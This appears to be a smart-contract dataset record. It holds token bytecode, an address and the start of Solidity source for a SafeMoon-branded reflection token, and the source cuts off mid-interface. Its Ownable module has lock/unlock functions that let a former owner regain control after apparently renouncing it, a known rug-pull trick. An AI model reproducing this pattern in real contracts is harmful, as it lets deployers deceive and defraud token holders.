5b92915050565b6000610a148484846118bd565b610a668433610a6185604051806060016040528060288152602001612ce3602891396001600160a01b038a1660009081526007602090815260408083203384529091529020549190611ba7565b611799565b5060019392505050565b6000546001600160a01b03163314610aa35760405162461bcd60e51b8152600401610a9a90612b33565b60405180910390fd5b601d8054821515620100000262ff0000199091161790556040517f3794234fa370c9f3b948dda3e3040530785b2ef1eb27dda3ffde478f4e2643c090610aee90831515815260200190565b60405180910390a150565b6000600c54821115610b605760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610a9a565b6000610b6a611be1565b9050610b7683826116d8565b9392505050565b6000546001600160a01b03163314610ba75760405162461bcd60e51b8152600401610a9a90612b33565b6001600160a01b03811660009081526009602052604090205460ff16610c0f5760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610a9a565b60005b600a54811015610d3057816001600160a01b0316600a8281548110610c3957610c39612cb7565b6000918252602090912001546001600160a01b03161415610d1e57600a8054610c6490600190612c1e565b81548110610c7457610c74612cb7565b600091825260209091200154600a80546001600160a01b039092169183908110610ca057610ca0612cb7565b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600682526040808220829055600990925220805460ff19169055600a805480610cf857610cf8612ca1565b600082815260209020810160001990810180546001600160a01b03191690550190555050565b80610d2881612c70565b915050610c12565b5050565b3360008181526007602090815260408083206001600160a01b038716845290915281205490916109fd918590610a619086611c04565b3360008181526009602052604090205460ff1615610ddf5760405162461bcd60e51b815260206004820152602c60248201527f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460448201526b3434b990333ab731ba34b7b760a11b6064820152608401610a9a565b6000610dea83611c63565b505050506001600160a01b038416600090815260056020526040902054919250610e1691905082611cb2565b6001600160a01b038316600090815260056020526040902055600c54610e3c9082611cb2565b600c55600d54610e4c9084611c04565b600d55505050565b6000546001600160a01b03163314610e7e5760405162461bcd60e51b8152600401610a9a90612b33565b6001600160a01b03166000908152600860205260409020805460ff19166001179055565b6000600b54831115610ef65760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c79006044820152606401610a9a565b81610f15576000610f0684611c63565b50939550610a01945050505050565b6000610f2084611c63565b50929550610a01945050505050565b6000546001600160a01b03163314610f595760405162461bcd60e51b8152600401610a9a90612b33565b6015819055601754610f6c908290611c04565b60135550565b6000546001600160a01b03163314610f9c5760405162461bcd60e51b8152600401610a9a90612b33565b6001600160a01b03811660009081526009602052604090205460ff16156110055760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610a9a565b6001600160a01b0381166000908152600560205260409020541561105f576001600160a01b03811660009081526005602052604090205461104590610af9565b6001600160a01b0382166000908152600660205260409020555b6001600160a01b03166000818152600960205260408120805460ff19166001908117909155600a805491820181559091527fc65a7bb8d6351c1cf70c95a316cc6a92839c986682d98bc35f958f4883f9d2a80180546001600160a01b0319169091179055565b6000546001600160a01b031633146110ef5760405162461bcd60e51b8152600401610a9a90612b33565b6017819055601554610f6c9082611c04565b6001600160a01b03811660009081526009602052604081205460ff161561113e57506001600160a01b031660009081526006602052604090205490565b6001600160a01b038216600090815260056020526040902054610a0190610af9565b6000546001600160a01b0316331461118a5760405162461bcd60e51b8152600401610a9a90612b33565b600080546040516001600160a01b0390911690600080516020612d0b833981519152908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146111ec5760405162461bcd60e51b8152600401610a9a90612b33565b601c55565b6000546001600160a01b0316331461121b5760405162461bcd60e51b8152600401610a9a90612b33565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b6060600f805461096d90612c35565b60006109fd3384610a6185604051806060016040528060258152602001612d2b602591393360009081526007602090815260408083206001600160a01b038d1684529091529020549190611ba7565b6001546001600160a01b031633146113015760405162461bcd60e51b815260206004820152602360248201527f596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c6044820152626f636b60e81b6064820152608401610a9a565b60025442116113525760405162461bcd60e51b815260206004820152601f60248201527f436f6e7472616374206973206c6f636b656420756e74696c20372064617973006044820152606401610a9a565b600154600080546040516001600160a01b039384169390911691600080516020612d0b83398151915291a3600154600080546001600160a01b0319166001600160a01b03909216919091179055565b60006109fd3384846118bd565b6000546001600160a01b031633146113d85760405162461bcd60e51b8152600401610a9a90612b33565b601155565b6000546001600160a01b031633146114075760405162461bcd60e51b8152600401610a9a90612b33565b601d80548215156101000261ff00199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15990610aee90831515815260200190565b6000546001600160a01b0316331461147a5760405162461bcd60e51b8152600401610a9a90612b33565b60008054600180546001600160a01b03199081166001600160a01b038416179091551690556114a98142612bc5565b600255600080546040516001600160a01b0390911690600080516020612d0b833981519152908390a350565b6000546001600160a01b031633146114ff5760405162461bcd60e51b8152600401610a9a90612b33565b6001600160a01b03166000908152600860205260409020805460ff19169055565b6000546001600160a01b0316331461154a5760405162461bcd60e51b8152600401610a9a90612b33565b601955565b6000546001600160a01b031633146115795760405162461bcd60e51b8152600401610a9a90612b33565b80156115a05761158960006113dd565b611591611cf4565b601954601a55600b5460195550565b6115aa60016113dd565b6115c7601254601155601454601355601654601555601854601755565b601a546019555b50565b6000546001600160a01b031633146115fb5760405162461bcd60e51b8152600401610a9a90612b33565b601b55565b6000546001600160a01b0316331461162a5760405162461bcd60e51b8152600401610a9a90612b33565b6001600160a01b03811661168f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610a9a565b600080546040516001600160a01b0380851693921691600080516020612d0b83398151915291a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000610b7683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611d37565b60008261172957506000610a01565b60006117358385612bff565b9050826117428583612bdd565b14610b765760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610a9a565b6001600160a01b0383166117fb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a9a565b6001600160a01b03821661185c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a9a565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166119215760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610a9a565b6001600160a01b0382166119835760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610a9a565b600081116119e55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610a9a565b6000546001600160a01b03848116911614801590611a1157506000546001600160a01b03838116911614155b15611a7957601954811115611a795760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610a9a565b6000611a8430611101565b601b54601d549192508210159060ff16158015611aa85750601d54610100900460ff165b8015611ae557507f00000000000000000000000045770059777f0f6ed0178147d32d27d845d386b96001600160a01b0316846001600160a01b0316145b15611b48578015611afe57601b549150611afe82611d65565b601d54479062010000900460ff168015611b1f5750670de0b6b3a764000081115b15611b4657601c54811115611b335750601c545b611b46611b418260646116d8565b611dfe565b505b6001600160a01b03851660009081526008602052604090205460019060ff1680611b8a57506001600160a01b03851660009081526008602052604090205460ff165b15611b93575060005b611b9f86868684611e27565b505050505050565b60008184841115611bcb5760405162461bcd60e51b8152600401610a9a9190612ade565b506000611bd88486612c1e565b95945050505050565b6000806000611bee611f5e565b9092509050611bfd82826116d8565b9250505090565b600080611c118385612bc5565b905083811015610b765760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610a9a565b6000806000806000806000806000611c7a8a6120e0565b9250925092506000806000611c988d8686611c93611be1565b612122565b919f909e50909c50959a5093985091965092945050505050565b6000610b7683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ba7565b601154158015611d045750601354155b15611d0b57565b601180546012556013805460145560158054601655601780546018556000938490559183905582905555565b60008183611d585760405162461bcd60e51b8152600401610a9a9190612ade565b506000611bd88486612bdd565b601d805460ff1916600117905547611d7c82612172565b6000611d884783611cb2565b600354601354919250611dbe916001600160a01b0390911690611db990601990611db39086906116d8565b9061171a565b61237a565b600454601754611def916001600160a01b031690611db990611de1906019611cb2565b601354611db39086906116d8565b5050601d805460ff1916905550565b601d805460ff191660011790558015611e1a57611e1a816123b5565b50601d805460ff19169055565b80611e3457611e34611cf4565b6001600160a01b03841660009081526009602052604090205460ff168015611e7557506001600160a01b03831660009081526009602052604090205460ff16155b15611e8a57611e8584848461259e565b611f36565b6001600160a01b03841660009081526009602052604090205460ff16158015611ecb57506001600160a01b03831660009081526009602052604090205460ff165b15611edb57611e858484846126c4565b6001600160a01b03841660009081526009602052604090205460ff168015611f1b57506001600160a01b03831660009081526009602052604090205460ff165b15611f2b57611e8584848461276d565b611f368484846127e0565b80611f5857611f58601254601155601454601355601654601555601854601755565b50505050565b600c54600b546000918291825b600a548110156120b0578260056000600a8481548110611f8d57611f8d612cb7565b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611ff857508160066000600a8481548110611fd157611fd1612cb7565b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b1561200e57600c54600b54945094505050509091565b61205460056000600a848154811061202857612028612cb7565b60009182526020808320909101546001600160a01b031683528201929092526040019020548490611cb2565b925061209c60066000600a848154811061207057612070612cb7565b60009182526020808320909101546001600160a01b031683528201929092526040019020548390611cb2565b9150806120a881612c70565b915050611f6b565b50600b54600c546120c0916116d8565b8210156120d757600c54600b549350935050509091565b90939092509050565b6000806000806120ef85612824565b905060006120fc86612847565b905060006121148261210e8986611cb2565b90611cb2565b979296509094509092505050565b6000808080612131888661171a565b9050600061213f888761171a565b9050600061214d888861171a565b9050600061215f8261210e8686611cb2565b939b939a50919850919650505050505050565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106121a7576121a7612cb7565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561222057600080fd5b505afa158015612234573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122589190612942565b8160018151811061226b5761226b612cb7565b60200260200101906001600160a01b031690816001600160a01b0316815250506122b6307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611799565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac9479061230b908590600090869030904290600401612b89565b600060405180830381600087803b15801561232557600080fd5b505af1158015612339573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a7828260405161236e929190612b68565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156123b0573d6000803e3d6000fd5b505050565b6040805160028082526060820183526000926020830190803683370190505090507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561242f57600080fd5b505afa158015612443573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124679190612942565b8160008151811061247a5761247a612cb7565b60200260200101906001600160a01b031690816001600160a01b03168152505030816001815181106124ae576124ae612cb7565b6001600160a01b0392831660209182029290920101527f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d1663b6f9de95836000847f000000000000000000000000000000000000000000000000000000000000dead61251c4261012c611c04565b6040518663ffffffff1660e01b815260040161253b9493929190612aa9565b6000604051808303818588803b15801561255457600080fd5b505af1158015612568573d6000803e3d6000fd5b50505050507f6fd378a9d8b7345c2e5b18229aaf1e39d32b177b501d0a0d26a0a858a23a9624828260405161236e929190612b68565b6000806000806000806125b087611c63565b6001600160a01b038f16600090815260066020526040902054959b509399509197509550935091506125e29088611cb2565b6001600160a01b038a166000908152600660209081526040808320939093556005905220546126119087611cb2565b6001600160a01b03808b1660009081526005602052604080822093909355908a16815220546126409086611c04565b6001600160a01b03891660009081526005602052604090205561266281612864565b61266c84836128ec565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126b191815260200190565b60405180910390a3505050505050505050565b6000806000806000806126d687611c63565b6001600160a01b038f16600090815260056020526040902054959b509399509197509550935091506127089087611cb2565b6001600160a01b03808b16600090815260056020908152604080832094909455918b1681526006909152205461273e9084611c04565b6001600160a01b0389166000908152600660209081526040808320939093556005905220546126409086611c04565b60008060008060008061277f87611c63565b6001600160a01b038f16600090815260066020526040902054959b509399509197509550935091506127b19088611cb2565b6001600160a01b038a166000908152600660209081526040808320939093556005905220546127089087611cb2565b6000806000806000806127f287611c63565b6001600160a01b038f16600090815260056020526040902054959b509399509197509550935091506126119087611cb2565b6000610a016103e86128416011548561171a90919063ffffffff16565b906116d8565b6000610a016103e86128416013548561171a90919063ffffffff16565b600061286e611be1565b9050600061287c838361171a565b306000908152600560205260409020549091506128999082611c04565b3060009081526005602090815260408083209390935560099052205460ff16156123b057306000908152600660205260409020546128d79084611c04565b30600090815260066020526040902055505050565b600c546128f99083611cb2565b600c55600d546129099082611c04565b600d555050565b8035801515811461292057600080fd5b919050565b60006020828403121561293757600080fd5b8135610b7681612ccd565b60006020828403121561295457600080fd5b8151610b7681612ccd565b6000806040838503121561297257600080fd5b823561297d81612ccd565b9150602083013561298d81612ccd565b809150509250929050565b6000806000606084860312156129ad57600080fd5b83356129b881612ccd565b925060208401356129c881612ccd565b929592945050506040919091013590565b600080604083850312156129ec57600080fd5b82356129f781612ccd565b946020939093013593505050565b600060208284031215612a1757600080fd5b610b7682612910565b600060208284031215612a3257600080fd5b5035919050565b60008060408385031215612a4c57600080fd5b82359150612a5c60208401612910565b90509250929050565b600081518084526020808501945080840160005b83811015612a9e5781516001600160a01b031687529582019590820190600101612a79565b509495945050505050565b848152608060208201526000612ac26080830186612a65565b6001600160a01b03949094166040830152506060015292915050565b600060208083528351808285015260005b81811015612b0b57858101830151858201604001528201612aef565b81811115612b1d576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b828152604060208201526000612b816040830184612a65565b949350505050565b85815284602082015260a060408201526000612ba860a0830186612a65565b6001600160a01b0394909416606083015250608001529392505050565b60008219821115612bd857612bd8612c8b565b500190565b600082612bfa57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615612c1957612c19612c8b565b500290565b600082821015612c3057612c30612c8b565b500390565b600181811c90821680612c4957607f821691505b60208210811415612c6a57634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415612c8457612c84612c8b565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b03811681146115ce57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63658be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e045524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220288274657faf7f261844682fdb9e5b8aabb0332941aeaa3d66c112823b11e4f964736f6c63430008050033
[ 13, 5, 4, 11 ]
0xf20d2b75aedb974049f15f11fb4a11337b5b0a6d
/** SafeMoon Telegram: t.me/safemoonv2 Website: safemoon.net */ pragma solidity ^0.6.12; // SPDX-License-Identifier: Unlicensed interface IERC20 { function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function geUnlockTime() public view returns (uint256) { return _lockTime; } //Locks the contract for owner for the amount of time provided function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = now + time; emit OwnershipTransferred(_owner, address(0)); } //Unlocks the contract for owner when _lockTime is exceeds function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(now > _lockTime , "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } } // pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, 